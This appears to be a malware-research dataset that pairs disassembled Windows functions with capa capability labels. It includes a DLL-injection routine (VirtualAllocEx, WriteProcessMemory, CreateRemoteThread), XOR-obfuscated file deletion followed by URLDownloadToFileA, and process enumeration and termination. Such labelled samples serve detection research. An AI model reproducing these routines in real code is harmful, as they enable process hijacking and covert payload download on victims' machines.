joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800017a0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, ecx
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800017d6
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
test eax, eax
jne 0x1800017de
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add rsp, 0x20
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x20
pop rbx
ret

Function at 0x1800017f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x170
mov rax, qword [0x180006040]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rcx], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rax
mov dword [rsp + 0x20], 1
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001917
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000190d
lea rsi, str.cmd.exe
nop
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x5c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1800018b9
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
je 0x1800018ac
mov eax, dword [rsp + 0x38]
mov dword [rdx], eax
add qword [rbx + 8], 4
jmp 0x1800018b9
lea r8, [rsp + 0x38]
mov rcx, rbx
call fcn.180002310
xor eax, eax
lea rdx, [rsp + 0x5c]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [rsi + rax - 1]
jne 0x1800018f7
cmp rax, 8
jne 0x1800018c0
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
je 0x1800018ea
mov eax, dword [rsp + 0x38]
mov dword [rdx], eax
add qword [rbx + 8], 4
jmp 0x1800018f7
lea r8, [rsp + 0x38]
mov rcx, rbx
call fcn.180002310
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001880
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, rbx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1800024e0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140009038
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rbx + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x14000905c
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rbx
jne 0x1400090b3
cmp qword [rcx + rdx*8], rbx
jne 0x1400090a8
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400090ac
mov rax, qword [rbx + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400090c0
cmp qword [rcx + rdx*8], rbx
jne 0x1400090c0
mov rax, qword [rbx]
mov qword [rcx + rdx*8], rax
mov rax, qword [rbx + 8]
mov rdi, qword [rbx]
mov qword [rax], rdi
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov rdx, qword [rbx + 0x30]
cmp rdx, 8
jb 0x1400090f5
mov rcx, qword [rbx + 0x18]
inc rdx
mov r8d, 2
call fcn.1400020a4
mov edx, 1
mov rcx, rbx
lea r8d, [rdx + 0x37]
call fcn.1400020a4
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov qword [rsi], rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b51c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_1.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400148a0], eax
call fcn.14000b2a4
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
cmp dword [0x1400148a0], 0
jne case.default.0x14000b572
mov ecx, 1
call fcn.14000b2a4
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
pushfq
leave
invalid
Function at 0x140001ca0
Capabilities:
Delete file
Download url
Encode data using xor
Receive data

Disassembly:
push rbx
sub rsp, 0x90
movups xmm1, xmmword [0x14001d4e0]
mov rbx, rcx
movups xmm0, xmmword [0x14001d4d0]
movups xmmword [rsp + 0x50], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x40], xmm0
test al, al
je 0x140001e9e
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140001e5e
movdqa xmm0, xmmword [0x14001dca0]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14001dc20]
mov eax, 5
movdqa xmm4, xmmword [0x14001dcc0]
xor edx, edx
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm7
movdqa xmm7, xmmword [0x14001dc40]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x30], xmm0
mov r8d, dword [rsp + 0x30]
movaps xmmword [rsp + 0x60], xmm8
movd xmm8, eax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x140001d40
movaps xmm8, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm6, xmmword [rsp + 0x80]
jmp 0x140001e9e
lea r8, [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x1f7047dd
lea r8, [r8 + 1]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x20
jl 0x140001e70
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140001eb5
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbx + 0x18], 0x10
jb 0x140001ebf
mov rbx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
add rsp, 0x90
pop rbx
ret
Function at 0x140001ef0
Capabilities:
Delete file
Download url
Encode data using xor
Receive data

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xa0
movups xmm0, xmmword [str.q_theDX_K_VxJ]
mov eax, dword [str.82U]
mov rbx, rcx
movups xmm1, xmmword [0x14001d7d0]
xor ecx, ecx
mov dword [rsp + 0x60], eax
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
jl 0x1400020a4
movdqa xmm0, xmmword [0x14001dca0]
lea rdx, [r11 - 0x64]
movdqa xmm5, xmmword [0x14001dc20]
mov eax, 5
movdqa xmm4, xmmword [0x14001dcc0]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x14001dc40]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x30], xmm0
mov r8d, dword [rsp + 0x30]
movaps xmmword [r11 - 0x38], xmm8
movd xmm8, eax
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140001f80
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
cmp ecx, 0x24
jge 0x1400020df
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x24
jl 0x1400020b0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x1400020f6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbx + 0x18], 0x10
jb 0x140002100
mov rbx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
add rsp, 0xa0
pop rbx
ret
Function at 0x140002ae0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140022010]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rcx
mov r8d, edx
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x104
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov r8, rbx
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x104
mov qword [rsp + 0x20], 0
mov rdx, rax
lea r8, [rsp + 0x40]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], 0
xor edx, edx
mov dword [rsp + 0x28], 0
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140019770
mov rbx, qword [rsp + 0x180]
add rsp, 0x160
pop rdi
ret
Function at 0x140005920
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x2b0
mov rax, qword [0x140022010]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
xor edx, edx
mov dword [rsp + 0x60], 0x238
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x60]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140005a80
xor ebp, ebp
nop dword [rax + rax]
mov qword [rsp + 0x38], rbp
lea r8, [rsp + 0x8c]
mov qword [rsp + 0x30], rbp
mov r9d, 0xffffffff
mov dword [rsp + 0x28], ebp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rbp
movsxd rbx, eax
mov rdx, rbx
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], recv
call fcn.1400102b0
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x38], rbp
lea r8, [rsp + 0x8c]
cmovae rcx, qword [rsp + 0x40]
mov r9d, 0xffffffff
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
mov rdx, rsi
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140005ab4
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140005a69
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005af1
call fcn.140019790
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140005980
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140019770
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140005afd
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005af8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005af8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov al, 1
jmp 0x140005a8b
Function at 0x14000fd00
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
movabs rax, 0xcbf29ce484222325
sar r8, 1
mov r9d, 0
add r8, r8
je 0x14000fd44
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x14000fd30
ret
Function at 0x140001340
Capabilities:
Read file via mapping

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x17], rax
xor r13d, r13d
mov r15, rdx
mov dword [rbp - 5], r13d
mov r14, rcx
mov qword [rbp - 0x59], r13
test rcx, rcx
je 0x1400013db
mov rbx, 0xffffffffffffffff
mov rdi, rbx
inc rdi
cmp byte [rcx + rdi], r13b
jne 0x140001385
inc rdi
mov eax, 2
mul rdi
cmovb rax, rbx
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x1400013db
mov r9, r14
mov qword [rbp - 0x21], r13
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov rdx, rax
lea rcx, [rbp - 0x21]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
test eax, eax
je 0x140001583
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov dword [rbp - 9], r13d
mov qword [rbp - 1], r13
mov dword [rsp + 0x50], r13d
lea rax, [rbp - 9]
mov qword [rsp + 0x48], r13
lea r9, [rbp + 7]
mov dword [rsp + 0x40], 0x40
lea r8, [rbp - 0x51]
mov dword [rsp + 0x38], 1
lea rcx, [rbp - 0x59]
mov dword [rsp + 0x30], 1
xorps xmm0, xmm0
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov qword [rsp + 0x20], r13
mov dword [rbp - 0x51], 0x30
mov qword [rbp - 0x49], r13
mov dword [rbp - 0x39], 0x40
mov qword [rbp - 0x41], rax
movdqu xmmword [rbp - 0x31], xmm0
call fcn.140002690
mov rcx, qword [rbp - 0x59]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], r13
mov r8d, 0x1000002
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
mov qword [rsp + 0x20], r13
mov rcx, rax
xor r8d, r8d
mov edx, 4
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movzx esi, r13w
movsxd r14, dword [rax + 0x3c]
add r14, rax
cmp r13w, word [r14 + 6]
jae 0x140001563
mov qword [rsp + 0x130], r12
lea r12, str..text
nop word [rax + rax]
movzx ecx, word [r14 + 0x14]
movzx eax, si
add rcx, r14
lea rdx, [rax + rax*4]
mov rax, r13
lea rdi, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rdi + rax + 0x18]
inc rax
cmp cl, byte [r12 + rax - 1]
jne 0x14000154d
cmp rax, 6
jne 0x1400014d0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [rdi + 0x24]
lea r8, [rbp - 0x11]
add rcx, r15
lea rdx, [rbp - 0x21]
mov qword [rbp - 0x21], rcx
mov rbx, rax
mov ecx, dword [rdi + 0x20]
lea rax, [rbp - 0x19]
mov qword [rbp - 0x11], rcx
mov r9d, 0x40
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140002660
mov rcx, qword [rbp - 0x21]
mov r8, qword [rbp - 0x11]
mov rdx, rcx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x19]
mov r9d, 0x40
lea r8, [rbp - 0x11]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x21]
mov rcx, rbx
call fcn.140002660
inc si
cmp si, word [r14 + 6]
jb 0x1400014b0
mov r12, qword [rsp + 0x130]
xor eax, eax
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.1400026b0
add rsp, 0xe0
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
inc rbx
cmp word [rsi + rbx*2], r13w
jne 0x140001583
add bx, bx
mov qword [rbp - 1], rsi
mov word [rbp - 9], bx
add bx, 2
mov word [rbp - 7], bx
jmp 0x1400013e3
Function at 0x140003028
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003072
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003072
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003072
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003072
cmp dword [rcx + 0x84], 0xe
jbe 0x140003072
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003074
xor al, al
add rsp, 0x28
ret
Function at 0x140003380
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1400033a2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000341c
mov rdi, r14
mov rcx, rbx
call fcn.1400048d0
test rax, rax
jle 0x1400033f4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140008560
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000340c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140003414
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1400033b6
sub r14, rdi
jmp 0x1400034ff
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140003433
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003435
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003467
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140008560
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400034fc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400034a2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x1400034dd
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14000e184
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400034fc
cmp rbp, rax
ja 0x1400034b0
test rbp, rbp
je 0x1400034fc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14000e184
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret

Function at 0x140007430
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000747a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000747a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000747a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000747a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000747a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000747c
xor al, al
add rsp, 0x28
ret

Function at 0x1400131c4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012fc0
Function at 0x140015cbc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140015cd2
mov al, 1
jmp 0x140015d32
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140015ce3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140015d30
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001e46c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140015d30
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140015d30
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140015d30
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140015d32
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140018b08
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140006d10
sub rsp, rax
mov rax, qword [0x140038080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140015b9c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140018b57
mov rax, rbp
jmp 0x140018c5f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x3a2c0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140019a54
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x3a2c0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140018c5b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018c5b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140019a54
test rax, rax
js 0x140018c5b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140018c5b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140018c4d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140018c4d
cmp byte [rcx], 0xd
jne 0x140018c33
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140018c42
cmp byte [rcx + 1], 0xa
jne 0x140018c42
inc rcx
jmp 0x140018c42
movzx eax, byte [rcx]
